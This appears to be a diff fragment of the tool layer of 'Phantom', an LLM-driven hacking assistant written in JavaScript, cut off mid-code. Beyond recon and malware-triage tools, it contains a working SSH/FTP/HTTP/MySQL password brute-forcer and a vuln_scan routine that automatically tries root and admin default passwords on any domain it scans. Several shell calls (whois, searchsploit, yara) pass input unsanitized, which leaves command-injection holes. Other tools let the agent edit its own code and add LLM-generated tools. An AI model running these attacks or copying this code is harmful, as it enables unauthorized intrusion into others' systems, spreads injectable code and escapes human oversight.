(const b of buf) freq.set(b, (freq.get(b) || 0) + 1); + let entropy = 0; + for (const count of freq.values()) { const p = count / size; entropy -= p * Math.log2(p); } + // Strings extraction + let cur = "", strs = []; + for (let i = 0; i < buf.length; i++) { + const c = buf[i]; + if (c >= 32 && c <= 126) { cur += String.fromCharCode(c); } + else { if (cur.length >= 6) strs.push(cur); cur = ""; } + } + if (cur.length >= 6) strs.push(cur); + // File type via magic bytes + const magic = buf.slice(0, 16).toString("hex"); + let fileType = "unknown"; + if (magic.startsWith("4d5a")) fileType = "PE (Windows executable/DLL)"; + else if (magic.startsWith("7f454c46")) fileType = "ELF (Linux binary)"; + else if (magic.startsWith("89504e47")) fileType = "PNG image"; + else if (magic.startsWith("ffd8")) fileType = "JPEG image"; + else if (magic.startsWith("504b0304")) fileType = "ZIP/PK archive"; + else if (magic.startsWith("25504446")) fileType = "PDF document"; + else if (magic.startsWith("d0cf11e0a1b11ae1")) fileType = "OLE2 (Office doc)"; + else if (magic.startsWith("1f8b")) fileType = "GZIP compressed"; + else if (magic.startsWith("424d")) fileType = "BMP image"; + else if (magic.startsWith("47494638")) fileType = "GIF image"; + else if (magic.startsWith("cafebabe")) fileType = "Java class"; + else if (magic.startsWith("52617221")) fileType = "RAR archive"; + else if (magic.startsWith("1f9d") || magic.startsWith("1fa0")) fileType = "Compress'd archive"; + else if (buf.slice(0, 3).toString() === "#!/") fileType = "Script"; + else if (buf.slice(0, 4).toString() === "MZ") fileType = "DOS executable"; + + const entropyLabel = entropy > 7.2 ? "SUSPICIOUS - likely encrypted/packed malware" : + entropy > 6.5 ? "High - possible packing/encryption" : + entropy > 5.0 ? "Medium" : "Low (plain text/native code)"; + + const sample = strs.slice(0, 25).join("\n").substring(0, 2000); + + return [ + `📁 ${path}`, + `Size: ${(size / 1024).toFixed(1)} KB (${size} bytes)`, + `Type: ${fileType}`, + `Entropy: ${entropy.toFixed(4)} — ${entropyLabel}`, + `MD5: ${md5}`, + `SHA1: ${sha1}`, + `SHA256: ${sha256}`, + `── Strings (${strs.length} found, showing first 25) ──`, + sample || "(no printable strings ≥6 chars)", + ].join("\n"); + } catch (e) { + return `[Analyze Error] ${e.message}`; + } + }, + + dns_lookup: async (domain) => { + // DNS resolution: A, AAAA, MX, NS, TXT records + try { + const dns = await import("dns/promises"); + const results = [`DNS records for ${domain}:`]; + const checks = [ + ["A", dns.resolve4(domain).catch(() => [])], + ["AAAA", dns.resolve6(domain).catch(() => [])], + ["MX", dns.resolveMx(domain).catch(() => [])], + ["NS", dns.resolveNs(domain).catch(() => [])], + ["TXT", dns.resolveTxt(domain).catch(() => [])], + ["CNAME", dns.resolveCname(domain).catch(() => [])], + ["SOA", dns.resolveSoa(domain).catch(() => [])], + ]; + for (const [label, promise] of checks) { + try { + const val = await promise; + if (Array.isArray(val) && val.length) { + if (label === "MX") results.push(` MX: ${val.map(m => `${m.exchange} (prio ${m.priority})`).join(", ")}`); + else if (label === "TXT") results.push(` TXT: ${val.flat().join(", ")}`); + else if (label === "SOA") results.push(` SOA: ${val.nsname} (admin: ${val.hostmaster})`); + else results.push(` ${label}: ${val.join(", ")}`); + } + } catch {} + } + if (results.length === 1) results.push(" (no records found)"); + return results.join("\n"); + } catch (e) { + return `[DNS Error] ${e.message}`; + } + }, + + hash: async (input) => { + // Hash text or file with MD5/SHA1/SHA256 + try { + const { createHash } = await import("crypto"); + const { existsSync, readFileSync } = await import("fs"); + let data; + let label = "text"; + if (existsSync(input)) { + data = readFileSync(input); + label = `file (${input})`; + } else { + data = Buffer.from(input, "utf-8"); + } + return [ + `Hash of ${label}:`, + `MD5: ${createHash("md5").update(data).digest("hex")}`, + `SHA1: ${createHash("sha1").update(data).digest("hex")}`, + `SHA256: ${createHash("sha256").update(data).digest("hex")}`, + ].join("\n"); + } catch (e) { + return `[Hash Error] ${e.message}`; + } + }, + + whois: async (domain) => { + try { + const { execSync } = await import("child_process"); + const r = execSync(`whois ${domain}`, { encoding: "utf-8", timeout: 15000, maxBuffer: 1024 * 1024 }); + const out = r.trim(); + if (!out) return "(empty whois result)"; + const lines = out.split("\n").filter(l => !l.startsWith("%") && !l.startsWith("#")); + return lines.slice(0, 60).join("\n").substring(0, 4000); + } catch (e) { + return `[WHOIS Error] ${e.stderr?.substring(0, 500) || e.message}`; + } + }, + + port_scan: async (target) => { + const COMMON_PORTS = { + 21: "FTP", 22: "SSH", 23: "Telnet", 25: "SMTP", 53: "DNS", + 80: "HTTP", 110: "POP3", 111: "RPC", 135: "MSRPC", 139: "NetBIOS", + 143: "IMAP", 443: "HTTPS", 445: "SMB", 993: "IMAPS", 995: "POP3S", + 1433: "MSSQL", 1521: "Oracle", 2049: "NFS", 3306: "MySQL", + 3389: "RDP", 5432: "PG", 5900: "VNC", 5985: "WinRM", 5986: "WinRMS", + 6379: "Redis", 8080: "Proxy", 8443: "AltHTTPS", 9000: "PHP", 27017: "Mongo", + }; + const parts = target.split(":"); + const host = parts[0]; + let ports = []; + if (parts[1]) { + if (parts[1].includes("-")) { + const [s, e] = parts[1].split("-").map(Number); + if (!isNaN(s) && !isNaN(e)) for (let i = s; i <= e; i++) ports.push(i); + } else { + ports = parts[1].split(",").map(Number).filter(n => !isNaN(n)); + } + } + if (!ports.length) ports = Object.keys(COMMON_PORTS).map(Number); + const { default: net } = await import("net"); + const results = [`Port scan: ${host} (${ports.length} ports)`]; + for (let i = 0; i < ports.length; i += 20) { + const batch = ports.slice(i, i + 20); + await Promise.all(batch.map(port => new Promise(resolve => { + const s = new net.Socket(); + s.setTimeout(2000); + s.on("connect", () => { results.push(` ${port}/tcp open ${COMMON_PORTS[port] || "?"}`); s.destroy(); resolve(); }); + s.on("error", () => resolve()); + s.on("timeout", () => { s.destroy(); resolve(); }); + s.connect(port, host); + }))); + } + if (results.length === 1) results.push(" (all filtered/closed)"); + return results.join("\n"); + }, + + http_headers: async (url) => { + try { + const r = await fetch(url, { method: "HEAD", signal: AbortSignal.timeout(10000), redirect: "manual" }); + const h = []; + r.headers.forEach((v, k) => h.push(` ${k}: ${v}`)); + return `URL: ${url}\nStatus: ${r.status} ${r.statusText}\n── Headers ──\n${h.join("\n")}`; + } catch (e) { return `[HTTP Header Error] ${e.message}`; } + }, + + ssl_check: async (host) => { + const [hn, ps] = host.includes(":") ? host.split(":") : [host, "443"]; + const port = parseInt(ps) || 443; + const { default: tls } = await import("tls"); + return new Promise(resolve => { + const sock = tls.connect(port, hn, { servername: hn, rejectUnauthorized: false }, () => { + const cert = sock.getPeerCertificate(); + const lines = [ + `SSL for ${hn}:${port}`, + `Subject: ${cert.subject ? Object.entries(cert.subject).map(([k,v])=>`${k}=${v}`).join(", ") : "N/A"}`, + `Issuer: ${cert.issuer ? Object.entries(cert.issuer).map(([k,v])=>`${k}=${v}`).join(", ") : "N/A"}`, + `From: ${cert.valid_from || "N/A"} To: ${cert.valid_to || "N/A"}`, + `Serial: ${cert.serialNumber || "N/A"}`, + `SHA256: ${cert.fingerprint256 || "N/A"}`, + `SANs: ${(cert.subjectaltname||"").replace(/DNS:/g,"").split(", ").join(", ")}`, + ]; + const days = cert.valid_to ? Math.floor((new Date(cert.valid_to) - Date.now())/86400000) : null; + if (days !== null) lines.push(`Expires in ${days}d ${days < 0 ? "EXPIRED" : days < 30 ? "⚠ SOON" : "OK"}`); + const ciph = sock.getCipher(); + if (ciph) lines.push(`Cipher: ${ciph.name} (${ciph.version})`); + sock.end(); + resolve(lines.join("\n")); + }); + sock.on("error", e => resolve(`[SSL Error] ${e.message}`)); + sock.setTimeout(10000, () => { sock.destroy(); resolve("[SSL Error] Timeout"); }); + }); + }, + + sub_enum: async (domain) => { + try { + const clean = domain.replace(/^https?:\/\//,"").replace(/\/.*$/,"").trim(); + const r = await fetch(`https://crt.sh/?q=%25.${clean}&output=json`, { + signal: AbortSignal.timeout(20000), headers: { "User-Agent": "Phantom/1.0" }, + }); + if (!r.ok) return `[crt.sh] HTTP ${r.status}`; + const data = await r.json(); + if (!Array.isArray(data) || !data.length) return `(no subs for ${clean})`; + const subs = [...new Set(data.flatMap(d => (d.name_value||"").split("\n")))].filter(s => s.endsWith(`.${clean}`) || s === clean).sort(); + return subs.length ? subs.join("\n") : `(no subs for ${clean})`; + } catch (e) { return `[Sub Error] ${e.message}`; } + }, + + crawl: async (url) => { + try { + const r = await fetch(url, { signal: AbortSignal.timeout(15000) }); + const html = await r.text(); + const base = url.replace(/\/[^/]*$/, ""); + const links = new Set(); + const linkRe = /]+href\s*=\s*["']([^"']+)["']/gi; + let m; + while ((m = linkRe.exec(html)) !== null) { + let h = m[1].split("#")[0].split("?")[0]; + if (!h || h.startsWith("javascript:") || h.startsWith("mailto:")) continue; + if (h.startsWith("//")) h = `https:${h}`; + else if (h.startsWith("/")) try { h = new URL(h, url).href; } catch { continue; } + else if (!h.startsWith("http")) h = `${base}/${h}`; + try { links.add(new URL(h).href); } catch {} + } + const forms = [...html.matchAll(/]+action\s*=\s*["']([^"']*)["'][^>]*>/gi)].map(m => m[1]); + const scripts = [...html.matchAll(/]+src\s*=\s*["']([^"']+)["']/gi)].map(m => m[1]); + const lines = [ + `🌐 Crawl: ${url}`, `Status: ${r.status}`, `Type: ${r.headers.get("content-type")||"N/A"}`, + `Links: ${links.size}`, ...[...links].slice(0,30).map(l => ` ${l}`), + ]; + if (forms.length) lines.push(`Forms (${forms.length}):`, ...forms.slice(0,5).map(f => ` action="${f}"`)); + if (scripts.length) lines.push(`Scripts (${scripts.length}):`, ...scripts.slice(0,10).map(s => ` ${s}`)); + return lines.join("\n"); + } catch (e) { return `[Crawl Error] ${e.message}`; } + }, + + vt_check: async (hash) => { + const key = process.env.VT_API_KEY || ""; + if (!key) return "[VT] Set VT_API_KEY env var (free: https://virustotal.com)"; + try { + const r = await fetch(`https://www.virustotal.com/api/v3/files/${hash.trim()}`, { + headers: { "x-apikey": key, Accept: "application/json" }, + signal: AbortSignal.timeout(15000), + }); + if (r.status === 404) return `[VT] Hash "${hash}" not found`; + if (!r.ok) return `[VT] HTTP ${r.status}`; + const d = (await r.json())?.data?.attributes || {}; + const st = d.last_analysis_stats || {}; + const res = d.last_analysis_results || {}; + const mal = st.malicious || 0, sus = st.suspicious || 0, harm = st.harmless || 0, und = st.undetected || 0; + const lines = [ + `🔬 VT: ${hash}`, `File: ${d.meaningful_name || "N/A"}`, `Type: ${d.type_description || d.type || "N/A"}`, + `Size: ${d.size||"N/A"}b`, `First: ${d.first_submission_date ? new Date(d.first_submission_date*1000).toISOString().split("T")[0] : "N/A"}`, + `Detect: ${mal} mal / ${sus} sus / ${harm} harm / ${und} und (${mal+sus+harm+und} engines)`, + ]; + for (const [eng, r2] of Object.entries(res)) if (r2.category === "malicious") lines.push(` ${eng}: ${r2.result}`); + if (d.names) { lines.push(`Names:`); d.names.slice(0,10).forEach(n => lines.push(` ${n}`)); } + return lines.join("\n"); + } catch (e) { return `[VT Error] ${e.message}`; } + }, + + yara: async (input) => { + const parts = input.split("|").map(s => s.trim()); + const [rules, target] = parts.length >= 2 ? parts : ["", parts[0]]; + try { + const r = (await import("child_process")).execSync( + rules ? `yara ${rules} ${target}` : `yara ${target}`, + { encoding: "utf-8", timeout: 30000, maxBuffer: 1024 * 1024 } + ).trim(); + return r ? `YARA: ${target}\n${r}` : "(no YARA matches)"; + } catch (e) { + const err = e.stderr?.toString() || e.message || ""; + if (err.includes("command not found")) return "[YARA] Install: apt install yara"; + if (e.status === 0) return "(no YARA matches)"; + return `[YARA Error] ${err.substring(0,500)}`; + } + }, + + recon: async (target) => { + const domain = target.replace(/^https?:\/\//, "").replace(/\/.*$/, "").trim(); + const ts = new Date().toISOString().replace(/[:.]/g, "-"); + const lines = [ + "╔══════════════════════════════════════╗", + "║ PHANTOM AUTOMATED RECON ║", + `║ Target: ${domain.padEnd(32)}║`, + `║ Date: ${ts.slice(0, 19).padEnd(27)}║`, + "╚══════════════════════════════════════╝", "", + ]; + try { lines.push("── [1/7] WHOIS ──", await hackerTools.whois(domain)); } catch {} + try { lines.push("\n── [2/7] DNS ──", await hackerTools.dns_lookup(domain)); } catch {} + try { lines.push("\n── [3/7] SUBDOMAINS ──", await hackerTools.sub_enum(domain)); } catch {} + try { lines.push("\n── [4/7] HTTP HEADERS ──", await hackerTools.http_headers(`https://${domain}`)); } catch {} + try { lines.push("\n── [5/7] SSL ──", await hackerTools.ssl_check(domain)); } catch {} + try { lines.push("\n── [6/7] PORTS ──", await hackerTools.port_scan(domain)); } catch {} + try { lines.push("\n── [7/7] CRAWL ──", await hackerTools.crawl(`https://${domain}`)); } catch {} + if (!fs.existsSync(REPORTS_DIR)) fs.mkdirSync(REPORTS_DIR, { recursive: true }); + const reportPath = resolve(REPORTS_DIR, `recon_${domain}_${ts}.md`); + fs.writeFileSync(reportPath, lines.join("\n"), "utf-8"); + lines.push(`\n📄 Report saved: ${reportPath}`); + return lines.join("\n"); + }, + + cve_search: async (query) => { + try { + const r = await fetch( + `https://services.nvd.nist.gov/rest/json/cves/2.0?keywordSearch=${encodeURIComponent(query)}&resultsPerPage=12`, + { signal: AbortSignal.timeout(20000), headers: { "User-Agent": "Phantom/1.0" } } + ); + if (!r.ok) return `[NVD] HTTP ${r.status}`; + const data = await r.json(); + const vulns = data?.vulnerabilities || []; + if (!vulns.length) return `(no CVEs for "${query}")`; + const lines = [`🔍 CVEs for "${query}": ${vulns.length} found\n`]; + for (const v of vulns.slice(0, 15)) { + const c = v.cve || {}; + const id = c.id || "N/A"; + const desc = c.descriptions?.find(d => d.lang === "en")?.value || ""; + const cvss = c.metrics?.cvssMetricV31?.[0]?.cvssData || c.metrics?.cvssMetricV2?.[0]?.cvssData || {}; + lines.push(`[${id}] ${cvss.baseSeverity || "?"} (${cvss.baseScore || "?"}) — ${(c.published||"").split("T")[0] || "?"}`); + if (desc) lines.push(` ${desc.substring(0, 180)}`); + lines.push(` https://nvd.nist.gov/vuln/detail/${id}\n`); + } + return lines.join("\n"); + } catch (e) { return `[CVE Error] ${e.message}`; } + }, + + searchsploit: async (query) => { + try { + const r = (await import("child_process")).execSync(`searchsploit ${query} 2>/dev/null`, { encoding: "utf-8", timeout: 15000 }); + if (r.trim()) return `🔧 Exploit-DB:\n${r.trim().substring(0, 4000)}`; + } catch {} + try { + const r = await fetch(`https://packetstormsecurity.com/search/?q=${encodeURIComponent(query)}`, { signal: AbortSignal.timeout(15000), headers: { "User-Agent": "Mozilla/5.0" } }); + const html = await r.text(); + const lines = [`🔧 Exploits for "${query}":`]; + const matches = html.match(/]+href="\/files\/[^"]+"[^>]*>[\s\S]{0,150}?<\/a>/gi) || []; + for (const m of matches.slice(0, 15)) { + const url = m.match(/href="([^"]+)"/)?.[1]; + const text = m.replace(/<[^>]+>/g, "").trim().substring(0, 100); + if (url && text) lines.push(` ${text} → https://packetstormsecurity.com${url}`); + } + return lines.length > 1 ? lines.join("\n") : ` Try: https://www.exploit-db.com/search?q=${encodeURIComponent(query)}`; + } catch (e) { return `[Search Error] ${e.message}`; } + }, + + bruteforce: async (input) => { + const parts = input.split("|").map(s => s.trim()); + if (parts.length < 4) return `[Brute] Usage: protocol|target|user|pass1,pass2,pass3\nProtocols: ssh, ftp, http, mysql`; + const [protocol, target, user, passStr] = parts; + const passes = passStr.split(",").map(s => s.trim()).filter(Boolean); + const results = [`🔑 Brute: ${protocol}://${target}`, ` User: ${user}`, ` Passwords: ${passes.length}`, ""]; + const { default: net } = await import("net"); + + async function tryOne(protocol, target, user, pass) { + switch (protocol) { + case "ssh": { + try { + (await import("child_process")).execSync( + `sshpass -p '${pass.replace(/'/g, "'\\''")}' ssh -o StrictHostKeyChecking=no -o ConnectTimeout=5 ${user}@${target} 'id' 2>/dev/null`, + { encoding: "utf-8", timeout: 10000 } + ); + return "✅ SUCCESS"; + } catch { return "❌ failed"; } + } + case "ftp": { + return new Promise(resolve => { + const s = new net.Socket(); let buf = ""; + s.setTimeout(5000); + s.on("data", d => { + buf += d.toString(); + if (buf.includes("220 ") || buf.includes("ready")) s.write(`USER ${user}\r\n`); + else if (buf.includes("331 ") || buf.includes("User")) s.write(`PASS ${pass}\r\n`); + else if (buf.includes("230 ") || buf.includes("Logged")) { s.destroy(); resolve("✅ SUCCESS"); } + else if (buf.includes("530 ") || buf.includes("Login") || buf.includes("incorrect")) { s.destroy(); resolve("❌ failed"); } + }); + s.on("error", () => resolve("❌ error")); + s.on("timeout", () => { s.destroy(); resolve("❌ timeout"); }); + const [h, p] = target.includes(":") ? target.split(":") : [target, "21"]; + s.connect(parseInt(p) || 21, h); + }); + } + case "http": { + try { + const r = await fetch(target, { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: new URLSearchParams({ username: user, password: pass, log: user, pwd: pass }).toString(), redirect: "manual", signal: AbortSignal.timeout(8000) }); + if (r.status === 302 || r.status === 301) return "✅ redirect"; + const t = await r.text().catch(() => ""); + if (r.status === 200 && !t.includes("incorrect") && !t.includes("Invalid") && !t.includes("error")) return !t.includes("password") && !t.includes("login") ? "⚠ maybe" : "❌ failed"; + return r.status === 401 || r.status === 403 ? "❌ denied" : "❌ failed"; + } catch { return "❌ error"; } + } + case "mysql": { + try { + const r = (await import("child_process")).execSync( + `mysql -u '${user}' -p'${pass.replace(/'/g, "'\\''")}' -h '${target}' -e 'SELECT 1' --connect-timeout=5 2>/dev/null`, { encoding: "utf-8", timeout: 10000 } + ); + return r.includes("1") ? "✅ SUCCESS" : "❌ failed"; + } catch { return "❌ failed"; } + } + default: return "❌ unknown"; + } + } + + const pad = `${user}:`.padEnd(25); + for (const pass of passes) { + const r = await tryOne(protocol, target, user, pass); + results.push(` ${pad} ${pass.padEnd(20)} → ${r}`); + if (r.startsWith("✅") || r.startsWith("⚠")) { results.push(`\n🎯 FOUND: ${user}:${pass}`); break; } + } + return results.join("\n"); + }, + + // ── FILE TOOLS ── + file_read: async (path) => { + try { + const resolved = resolve(path); + if (!fs.existsSync(resolved)) return `[File Error] Not found: ${path}`; + const content = fs.readFileSync(resolved, "utf-8"); + if (content.length > 100000) return `[File Error] Too large (>100KB): ${path} (${content.length} chars)`; + return content; + } catch (e) { + if (e.code === "EISDIR") return `[File Error] Is a directory: ${path}`; + return `[File Error] ${e.message}`; + } + }, + + file_write: async (input) => { + const idx = input.indexOf("|"); + if (idx === -1) return "[File Write] Usage: path|content"; + const path = input.substring(0, idx).trim(); + const content = input.substring(idx + 1); + if (!path || !content) return "[File Write] Usage: path|content"; + try { + const resolved = resolve(path); + const dir = resolve(resolved, ".."); + if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); + const existed = fs.existsSync(resolved); + const prevSize = existed ? fs.statSync(resolved).size : 0; + fs.writeFileSync(resolved, content, "utf-8"); + const preview = content.substring(0, 120).replace(/\n/g, "⏎ ").trim(); + const lines = content.split("\n").length; + return `✅ ${existed ? "Updated" : "Created"} ${resolved}\n ${content.length}b / ${lines} lines\n ${existed ? `${prevSize}b → ${content.length}b` : `new file`}\n ${preview}${content.length > 120 ? "..." : ""}`; + } catch (e) { return `[File Write Error] ${e.message}`; } + }, + + file_edit: async (input) => { + const parts = input.split("|"); + if (parts.length < 3) return "[File Edit] Usage: path|old_string|new_string"; + const [path, oldStr, ...rest] = parts; + const newStr = rest.join("|"); + try { + const resolved = resolve(path); + if (!fs.existsSync(resolved)) return `[File Edit] Not found: ${path}`; + let content = fs.readFileSync(resolved, "utf-8"); + if (!content.includes(oldStr)) return `[File Edit] String not found`; + const idx = content.indexOf(oldStr); + const ctxBefore = content.substring(Math.max(0, idx - 60), idx).split("\n").pop() || ""; + const ctxAfter = content.substring(idx, idx + oldStr.length + 60).split("\n")[0] || ""; + content = content.replace(oldStr, newStr); + fs.writeFileSync(resolved, content, "utf-8"); + const newPreview = content.substring(idx, idx + newStr.length + 40).split("\n")[0] || ""; + return `✅ Edited ${path}\n ─ ${ctxBefore.trim()}\n + ${newPreview.trim().substring(0, 80)}\n ${oldStr.length}b → ${newStr.length}b`; + } catch (e) { return `[File Edit Error] ${e.message}`; } + }, + + file_search: async (input) => { + const parts = input.split("|").map(s => s.trim()); + const searchPath = parts.length >= 2 ? parts[0] : "."; + const pattern = parts.length >= 2 ? parts[1] : parts[0]; + if (!pattern) return "[File Search] Usage: [path|]pattern"; + try { + const { execSync } = await import("child_process"); + const r = execSync(`rg -rn '${pattern.replace(/'/g, "'\\''")}' '${searchPath}' 2>/dev/null | head -40`, { encoding: "utf-8", timeout: 15000 }); + if (!r.trim()) return `(no matches for "${pattern}" in ${searchPath})`; + const lines = r.trim().split("\n"); + return `🔍 "${pattern}" in ${searchPath}: ${lines.length} matches\n${lines.slice(0, 40).join("\n")}`; + } catch { return `(no matches for "${pattern}" in ${searchPath})`; } + }, + + file_list: async (path) => { + try { + const resolved = resolve(path || "."); + if (!fs.existsSync(resolved)) return `[File List] Not found: ${path}`; + const entries = fs.readdirSync(resolved, { withFileTypes: true }); + const lines = [`📁 ${resolved}:`]; + const dirs = [], files = []; + for (const e of entries) { + if (e.name.startsWith(".")) continue; + if (e.isDirectory()) dirs.push(e.name); + else files.push(e.name); + } + dirs.sort().forEach(d => lines.push(` 📁 ${d}/`)); + files.sort().forEach(f => { try { const s = fs.statSync(resolve(resolved, f)); lines.push(` 📄 ${f} (${s.size.toLocaleString()}b)`); } catch { lines.push(` 📄 ${f}`); } }); + lines.push(`\n${dirs.length} dirs, ${files.length} files`); + return lines.join("\n"); + } catch (e) { return `[File List Error] ${e.message}`; } + }, + + // ── SELF TOOLS ── + self_info: async () => { + try { + const phantomDir = process.cwd(); + const pkg = fs.existsSync(resolve(phantomDir, "package.json")) + ? JSON.parse(fs.readFileSync(resolve(phantomDir, "package.json"), "utf-8")) : {}; + const names = Object.keys(hackerTools).sort(); + const llmAvail = __r.llmInstance?.hasLLM; + const llmName = __r.llmInstance?.provider || __r.PHANTOM_LLM_PROVIDER || "openai"; + return [ + `╔══════════════════════════════════════╗`, + `║ PHANTOM — Cybersecurity Assistant ║`, + `╚══════════════════════════════════════╝`, + ``, + `Version: ${pkg.version || "dev"}`, + `Runtime: Node.js ${process.version}`, + `Platform: ${process.platform} ${process.arch}${__r.ENV.isProot ? " 🔒 PRoot" : ""}${__r.ENV.isTermux ? " 📱 Termux" : ""}`, + `Project: ${phantomDir}`, + ``, + `📦 ${names.length} Tools:`, + ` ${names.join(", ")}`, + ``, + `🤖 ${llmAvail ? `LLM: ${llmName}` : "LLM: Not connected (set API key with @llm_config)"}`, + ].join("\n"); + } catch (e) { return `[Self Info Error] ${e.message}`; } + }, + + self_read: async (path) => { + try { + const phantomDir = process.cwd(); + const resolved = resolve(phantomDir, path.replace(/^\.\//, "")); + if (!resolved.startsWith(phantomDir)) return `[Self Read] Access denied: path outside project`; + if (!fs.existsSync(resolved)) return `[Self Read] Not found: ${path}`; + const content = fs.readFileSync(resolved, "utf-8"); + if (content.length > 50000) return content.substring(0, 50000) + `\n... (truncated, ${content.length} chars total)`; + return content; + } catch (e) { return `[Self Read Error] ${e.message}`; } + }, + + self_edit: async (input) => { + const parts = input.split("|"); + if (parts.length < 3) return "[Self Edit] Usage: relative_path|old_string|new_string"; + const [relPath, oldStr, ...rest] = parts; + const newStr = rest.join("|"); + try { + const phantomDir = process.cwd(); + const resolved = resolve(phantomDir, relPath.replace(/^\.\//, "")); + if (!resolved.startsWith(phantomDir)) return `[Self Edit] Access denied: path outside project`; + if (!fs.existsSync(resolved)) return `[Self Edit] Not found: ${relPath}`; + let content = fs.readFileSync(resolved, "utf-8"); + if (!content.includes(oldStr)) return `[Self Edit] String not found`; + const idx = content.indexOf(oldStr); + const ctxBefore = content.substring(Math.max(0, idx - 60), idx); + const ctxAfter = content.substring(idx, idx + oldStr.length + 60); + content = content.replace(oldStr, newStr); + fs.writeFileSync(resolved, content, "utf-8"); + const diffLine = ctxBefore.split("\n").pop() || ""; + const aftLine = ctxAfter.substring(0, 60).split("\n")[0] || ""; + const newPreview = content.substring(idx, idx + newStr.length + 40).split("\n")[0] || ""; + return `✅ Edited ${relPath}\n ─ ${diffLine.trim()}\n + ${newPreview.trim().substring(0, 80)}\n ${oldStr.length}b → ${newStr.length}b`; + } catch (e) { return `[Self Edit Error] ${e.message}`; } + }, + + // ── VULN SCAN ── + vuln_scan: async (target) => { + const domain = target.replace(/^https?:\/\//, "").replace(/\/.*$/, "").trim(); + const ts = new Date().toISOString().replace(/[:.]/g, "-"); + const lines = [`# Phantom Vulnerability Scan Report`, `**Target:** ${domain}`, `**Date:** ${new Date().toUTCString()}`, `---`, ``]; + // Phase 1 + lines.push(`## Phase 1: Reconnaissance\n`); + try { const r = await hackerTools.whois(domain); lines.push(`### WHOIS\n\`\`\`\n${r}\n\`\`\``); } catch {} + try { const r = await hackerTools.dns_lookup(domain); lines.push(`### DNS\n\`\`\`\n${r}\n\`\`\``); } catch {} + try { const r = await hackerTools.sub_enum(domain); lines.push(`### Subdomains\n\`\`\`\n${r}\n\`\`\``); } catch {} + try { const r = await hackerTools.http_headers(`https://${domain}`); lines.push(`### HTTP Headers\n\`\`\`\n${r}\n\`\`\``); } catch {} + try { const r = await hackerTools.ssl_check(domain); lines.push(`### SSL/TLS\n\`\`\`\n${r}\n\`\`\``); } catch {} + const ports = await hackerTools.port_scan(domain); + lines.push(`### Open Ports\n\`\`\`\n${ports}\n\`\`\``); + // Phase 2 + lines.push(`\n## Phase 2: Vulnerability Search\n`); + try { lines.push(`### CVEs\n\`\`\`\n${await hackerTools.cve_search(domain)}\n\`\`\``); } catch {} + // Phase 3 + lines.push(`\n## Phase 3: Exploit Search\n`); + try { lines.push(`### Exploits\n\`\`\`\n${await hackerTools.searchsploit(domain)}\n\`\`\``); } catch {} + // Phase 4 + lines.push(`\n## Phase 4: Brute Force Testing\n`); + const openPorts = [...ports.matchAll(/(\d+)\/tcp\s+open/gi)].map(m => parseInt(m[1])); + if (openPorts.includes(22)) { lines.push(`- Port 22 (SSH) open`); try { lines.push(` \`\`\`\n${await hackerTools.bruteforce(`ssh|${domain}|root|admin,root,toor,123456,password`)}\n\`\`\``); } catch {} } + if (openPorts.includes(21)) { lines.push(`- Port 21 (FTP) open`); try { lines.push(` \`\`\`\n${await hackerTools.bruteforce(`ftp|${domain}|admin|admin,password,ftp`)}\n\`\`\``); } catch {} } + if (openPorts.some(p => [80, 443, 8080, 8443].includes(p))) { lines.push(`- Web server detected`); try { lines.push(` \`\`\`\n${await hackerTools.bruteforce(`http|https://${domain}/login|admin|admin,password,admin123`)}\n\`\`\``); } catch {} } + // Save + if (!fs.existsSync(REPORTS_DIR)) fs.mkdirSync(REPORTS_DIR, { recursive: true }); + const reportPath = resolve(REPORTS_DIR, `vulnscan_${domain}_${ts}.md`); + fs.writeFileSync(reportPath, lines.join("\n"), "utf-8"); + lines.push(`\n---\n📄 Full report: ${reportPath}`); + return lines.join("\n"); + }, + + report_save: async (input) => { + const parts = input.split("|"); + const name = (parts[0] || `report_${Date.now()}`).replace(/[^a-z0-9_-]/gi, "_"); + const content = parts.slice(1).join("|") || input; + if (!fs.existsSync(REPORTS_DIR)) fs.mkdirSync(REPORTS_DIR, { recursive: true }); + const fp = resolve(REPORTS_DIR, `${name}.md`); + fs.writeFileSync(fp, content, "utf-8"); + return `📄 Report saved: ${fp}`; + }, + + session_save: async (name) => { + const sessionsDir = resolve(BASE_DIR, "sessions"); + try { + if (!fs.existsSync(sessionsDir)) fs.mkdirSync(sessionsDir, { recursive: true }); + const slug = name.replace(/[^a-z0-9_-]/gi, "_"); + const data = { name, created: new Date().toISOString(), tools: Object.keys(hackerTools).length }; + fs.writeFileSync(resolve(sessionsDir, `${slug}.json`), JSON.stringify(data, null, 2), "utf-8"); + return `✅ Session saved: ${slug}`; + } catch (e) { return `[Session Error] ${e.message}`; } + }, + + session_load: async (name) => { + const sessionsDir = resolve(BASE_DIR, "sessions"); + try { + const slug = name.replace(/[^a-z0-9_-]/gi, "_"); + const fp = resolve(sessionsDir, `${slug}.json`); + if (!fs.existsSync(fp)) return `[Session] Not found: ${name}`; + const data = JSON.parse(fs.readFileSync(fp, "utf-8")); + return `📂 Session: ${data.name}\nCreated: ${data.created}\nTools: ${data.tools}`; + } catch (e) { return `[Session Error] ${e.message}`; } + }, + + code_gen: async (input) => { + const parts = input.split("|"); + const [prompt, lang = "javascript", outPath = ""] = parts; + const llm = __r.llmInstance; + if (!llm || !llm.chat) { + const stub = `// ${prompt}\n// Language: ${lang}\nfunction ${(prompt||"").replace(/[^a-z]/gi, "")}() {\n // TODO\n}\n`; + if (outPath) { fs.writeFileSync(resolve(outPath), stub, "utf-8"); return `✅ Stub written to ${outPath}`; } + return stub; + } + try { + const code = await llm.chat([ + { role: "system", content: `Generate only ${lang} code. No explanations. No markdown.` }, + { role: "user", content: prompt } + ], { model: llm.defaultModel || "deepseek-v4-flash-free" }); + if (code.startsWith("[") && code.includes("]")) return `[Code Gen] LLM error: ${code.substring(0, 200)}`; + // Strip markdown code fences if present + const clean = code.replace(/^```\w*\n?/gm, "").replace(/```$/gm, "").trim(); + if (outPath) { fs.writeFileSync(resolve(outPath), clean, "utf-8"); return `✅ Generated ${code.length} chars → ${outPath}`; } + return code; + } catch (e) { return `[Code Gen Error] ${e.message}`; } + }, + + self_add_tool: async (prompt) => { + const llm = __r.llmInstance; + if (!llm || !llm.chat) return "[Self Add] No LLM provider configured. Use @llm_config to set one up."; + try { + const result = await llm.chat([ + { role: "system", content: `Generate a Node.js async function taking a string input and returning Promise. Name it after the tool purpose. No markdown. Only code, no explanations.` }, + { role: "user", content: `Tool that: ${prompt}` } + ], { model: llm.defaultModel || "deepseek-v4-flash-free" }); + if (result.startsWith("[") && result.includes("]")) return `[Self Add] LLM error: 